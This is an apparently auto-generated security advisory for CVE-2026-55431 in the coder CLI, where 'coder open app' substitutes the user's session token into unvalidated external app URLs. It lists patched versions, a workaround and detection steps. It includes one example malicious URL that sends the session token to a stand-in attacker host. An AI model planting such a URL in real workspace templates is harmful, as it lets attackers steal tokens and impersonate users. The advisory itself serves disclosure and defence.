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CVE-2026-55431 high CVSS 7.7

Vulnerability in github.com/coder/coder/v2 (CVE-2026-55431)

Summary

Vulnerability in github.com/coder/coder/v2 (CVE-2026-55431). Confidential information can be exposed externally. Mitigation: upgrade to 2.29.17 or later.

Original description

The description as published by the source.

Summary

coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.

Note: Practical exploitation requires the victim to run coder open app against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.

Impact

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.

Patches

The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

Release line Patched version
2.34 v2.34.2
2.33 v2.33.8
2.32 v2.32.7
2.29 (ESR) [v2.29.17](…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-55431 has been found in github.com/coder/coder/v2.
Confidential information can be exposed externally. CVSS score: 7.7/10.
What to do: upgrade github.com/coder/coder/v2 to 2.29.17 or later.
If unsure, ask your IT team or search "github.com/coder/coder/v2 CVE-2026-55431" on the vendor's site.

CVE-2026-55431 (github.com/coder/coder/v2) — CWE-522 / CVSS v3 7.7
Attack vector: remote (network-reachable)
Patched: 2.29.17 — apply immediately
Workaround: Avoid running coder open app for untrusted workspaces.
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-522) exists in github.com/coder/coder/v2.

📍 Affected scope

Check the vendor advisory for the affected versions of github.com/coder/coder/v2.

🔥 Severity

Severity: High (CVSS 7.7/10). Confidential information can be exposed externally.

🔧 How to fix

Update to 2.29.17.

🛡️ Workaround

Workaround: Avoid running coder open app for untrusted workspaces.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'github.com/coder/coder/v2' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'github.com/coder/coder/v2' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で github.com/coder/coder/v2 を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply temporary workaround mitigate 
    Avoid running `coder open app` for untrusted workspaces.

    パッチが適用されるまでの応急処置として、Avoid running coder open app for untrusted workspaces. を実施。回避策の副作用 (機能低下) を確認した上で。

  3. 3
    Apply patch patch 
    Upgrade github.com/coder/coder/v2 to 2.29.17

    ステージング環境で 2.29.17 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  4. 4
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

go github.com/coder/coder/v2
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.29.17"}]}]
Go github.com/coder/coder
[{"type":"SEMVER","events":[{"introduced":"0"}]}]

References

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